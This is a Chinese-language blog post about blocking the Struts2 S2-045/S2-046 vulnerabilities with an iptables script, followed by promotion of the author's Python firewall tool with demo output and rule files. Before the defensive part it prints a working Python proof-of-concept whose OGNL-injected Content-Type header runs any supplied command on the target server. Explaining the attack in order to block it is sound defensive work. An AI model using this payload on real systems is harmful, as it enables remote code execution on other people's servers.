Struts2 S2-046, S2-045 Firewall(漏洞防火墙)

时间:2022-05-03
本文章向大家介绍Struts2 S2-046, S2-045 Firewall(漏洞防火墙),主要内容包括顺便接受一下我开发的firewall,我用它替代CentOS 7 firewalld。、Demo、Rule file、Testing API、基本概念、基础应用、原理机制和需要注意的事项等,并结合实例形式分析了其使用技巧,希望通过本文能帮助到大家理解应用这部分内容。

开发中遇到一个问题,Struts2 已经升级到2.3.32但是故障依旧,绞尽脑汁找不出原因。此路不同另寻它路,我便想从运维角度暂时解决这个问题,给开发留出足够的时间解决故障。

于是我想到了iptables 防火墙并下来的这个脚本。

https://github.com/netkiller/firewall/blob/master/shell/struts2.sh

这是一个针对 Struts2 S2-046, S2-045漏洞封杀的防火墙脚本。

首先分析 S2-046, S2-045 漏洞攻击的原理。测试代码如下:

#! /usr/bin/env python
# encoding:utf-8
import urllib2
import sys
from poster.encode import multipart_encode
from poster.streaminghttp import register_openers



def poc():
    register_openers()
    datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})
    header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
    header["Content-Type"]="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"+sys.argv[2]+"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
   try:
      request = urllib2.Request(str(sys.argv[1]),datagen,headers=header)
      response = urllib2.urlopen(request)
      print response.read()
   except Exception,e:
      print e

poc()

攻击原理是想Struts Action Post 注入数据,好了知道这个原来就可以实现封锁了(在不改动一行代码的情况下)

- - - - - - - - -

顺便接受一下我开发的firewall,我用它替代CentOS 7 firewalld。

Install

地址 https://github.com/netkiller/firewall
安装 bash install.sh

防火墙规则连采用面向对象方式,可以加入循环,条件判断等等....

Demo

$ sudo /etc/init.d/firewall 
Usage: /etc/init.d/firewall {start|stop|status|restart}

$ sudo /etc/init.d/firewall start

$ sudo /etc/init.d/firewall status
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)
 pkts bytes target     prot opt in     out     source               destination         
   44  6163 ACCEPT     all  --  *      *       0.0.0.0/0            0.0.0.0/0            state RELATED,ESTABLISHED
	0     0 ACCEPT     icmp --  *      *       0.0.0.0/0            0.0.0.0/0           
	0     0 ACCEPT     all  --  lo     *       0.0.0.0/0            0.0.0.0/0           
	0     0 ACCEPT     tcp  --  *      *       0.0.0.0/0            0.0.0.0/0            tcp dpt:22 state NEW
	0     0 ACCEPT     tcp  --  *      *       0.0.0.0/0            0.0.0.0/0            multiport dports 443,80 state NEW
	2  2884 REJECT     all  --  *      *       0.0.0.0/0            0.0.0.0/0            reject-with icmp-host-prohibited

Chain FORWARD (policy ACCEPT 0 packets, 0 bytes)
 pkts bytes target     prot opt in     out     source               destination         
	0     0 REJECT     all  --  *      *       0.0.0.0/0            0.0.0.0/0            reject-with icmp-host-prohibited

Chain OUTPUT (policy ACCEPT 45 packets, 6893 bytes)
 pkts bytes target     prot opt in     out     source               destination         
	0     0 REJECT     tcp  --  *      *       0.0.0.0/0            0.0.0.0/0            multiport dports 20,21 reject-with icmp-port-unreachable

$ sudo /etc/init.d/firewall stop

Rule file

$ sudo cat /srv/firewall/libexec/www.py 
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from firewall import * 

######################################## 
# Web Application
######################################## 

www = Firewall()
www.flush()
www.policy(www.INPUT,www.ACCEPT)
www.policy(www.OUTPUT,www.ACCEPT)
www.policy(www.FORWARD,www.ACCEPT)
www.input().state(('RELATED','ESTABLISHED')).accept()
www.input().protocol('icmp').accept()
www.input().interface('-i','lo').accept()
www.input().protocol('tcp').dport('22').state('NEW').accept()
www.input().protocol('tcp').dport(('443','80')).state('NEW').accept()
www.output().protocol('tcp').dport(('20','21')).reject()

#www.input().protocol('tcp').inbound('eth0').dport('80').recent('HTTP',2,20).drop()
#www.input().protocol('tcp').inbound('eth0').dport('80').connlimit(30).drop()
#www.input().protocol('tcp').inbound('eth0').dport('80').recent('HTTP').accept()
# DDOS
#www.input().proto('tcp').dport("80").string('XXDD0S').drop()
www.input().reject('--reject-with icmp-host-prohibited')
www.forward().reject('--reject-with icmp-host-prohibited')

def start():
	www.start()
def stop():
	www.stop()
def restart():
	www.stop()
	www.start()
def show():
	www.show()
def status():
	www.status()
def main():
	show()
	return( 0 )

if __name__ == '__main__':
	main()

Testing API

#!/usr/bin/python3
from firewall import Firewall    
single = Firewall()
single.policy(single.INPUT,single.DROP)
single.policy(single.OUTPUT,single.ACCEPT)
single.policy(single.FORWARD,single.DROP)
single.input().protocol('icmp').drop()
single.input().protocol('tcp').dport(('3389','5900')).accept()
single.input().protocol('tcp').dport(('137','138','139','145')).accept()
single.show()
#single.run()
#single.list()